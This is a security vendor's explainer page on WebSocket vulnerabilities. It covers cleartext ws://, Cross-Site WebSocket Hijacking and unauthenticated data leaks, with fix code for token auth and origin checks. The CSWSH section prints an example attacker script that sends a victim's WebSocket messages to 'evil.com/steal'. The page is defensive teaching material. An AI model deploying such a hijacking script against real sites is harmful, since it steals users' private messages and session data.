All vulnerabilities
HighA02:2021CWE-319Protocol

WebSocket Security

WebSocket vulnerabilities — unencrypted connections, missing authentication, and Cross-Site WebSocket Hijacking — allow attackers to intercept real-time data, send unauthorized messages, and hijack WebSocket sessions using a victim's browser cookies.

What Is a WebSocket Vulnerability?

WebSockets provide full-duplex communication between client and server over a persistent connection. Unlike HTTP requests, WebSocket connections bypass many security controls — there's no Same-Origin Policy enforcement on the WebSocket handshake, and tokens sent during the initial HTTP upgrade may not be rechecked afterward.

Common Vulnerabilities

1. Unencrypted ws:// Connection

Using ws:// (unencrypted) instead of wss:// (TLS-encrypted) on an HTTPS application exposes all WebSocket traffic to network interception:

// Vulnerable — cleartext WebSocket on HTTPS app
const ws = new WebSocket('ws://api.myapp.com/chat')
 
// Secure
const ws = new WebSocket('wss://api.myapp.com/chat')

Mixed content browsers block ws:// from HTTPS pages, but some configurations still allow it on HTTP-served subdomains.

2. Missing Authentication (CSWSH)

Cross-Site WebSocket Hijacking (CSWSH) exploits the fact that browsers automatically include cookies in WebSocket handshake requests — just like regular HTTP requests. If the server only checks cookies (not an explicit auth token in the message), any website can open a WebSocket connection on behalf of a logged-in victim:

<!-- Attacker's page at evil.com -->
<script>
  const ws = new WebSocket('wss://target.com/ws/chat')
  ws.onopen = () => ws.send(JSON.stringify({action: 'get_messages'}))
  ws.onmessage = (e) => {
    fetch('https://evil.com/steal?data=' + encodeURIComponent(e.data))
  }
</script>

If the victim visits evil.com while logged into target.com, their session cookie is sent automatically during the WebSocket handshake, and the attacker receives all their chat messages.

3. Unauthenticated Data Transmission

The server sends sensitive data before any authentication message is received:

Client → Server: [WebSocket handshake, no auth token]
Server → Client: {"type":"welcome","user":{"id":123,"email":"victim@example.com","balance":1500}}
                 ← sensitive data sent before auth verified

Real-World Impact

  • Message theft — read private chat messages, notifications, or real-time financial data
  • Account takeover — CSWSH allows sending authenticated actions on behalf of victims
  • Data exfiltration — extract session data, user info, or business data in real time
  • Unauthorized actions — send chat messages, transfer funds, or modify data as the victim

How to Fix

Always use wss:// in production:

const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
const ws = new WebSocket(`${protocol}//${window.location.host}/ws`)

Authenticate via message — not just cookies:

// Client — send explicit token after connection
const ws = new WebSocket('wss://api.myapp.com/ws')
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: 'auth',
    token: localStorage.getItem('access_token')  // explicit, not cookie
  }))
}
# Server — require auth message before any data
@ws_router.websocket("/ws")
async def websocket_endpoint(ws: WebSocket):
    await ws.accept()
    auth_msg = await ws.receive_json()
    if auth_msg.get("type") != "auth":
        await ws.close(code=4001, reason="Authentication required")
        return
    user = verify_token(auth_msg.get("token"))
    if not user:
        await ws.close(code=4003, reason="Invalid token")
        return
    # Now safe to proceed

Validate Origin header during handshake:

ALLOWED_ORIGINS = {"https://myapp.com", "https://www.myapp.com"}
 
@ws_router.websocket("/ws")
async def websocket_endpoint(ws: WebSocket, request: Request):
    origin = request.headers.get("origin", "")
    if origin not in ALLOWED_ORIGINS:
        await ws.close(code=4000, reason="Invalid origin")
        return
    await ws.accept()

What VibeWShield Detects

VibeWShield's WebSocket Security scanner tests:

  • Unencrypted ws:// — detected on HTTPS applications (mixed content)
  • Unauthenticated data transmission — server sends sensitive data before any auth message
  • CSWSH — server accepts WebSocket connections with an attacker-controlled Origin header

Findings range from Low (unencrypted in limited context) to High (CSWSH with data exposure).

#websocket#cswsh#authentication#real-time#encryption

Free security scan

Test your app for WebSocket Security

VibeWShield automatically checks for WebSocket Security and 40+ other vulnerabilities using 63 scanners — in under 3 minutes, no signup required.

Scan your app free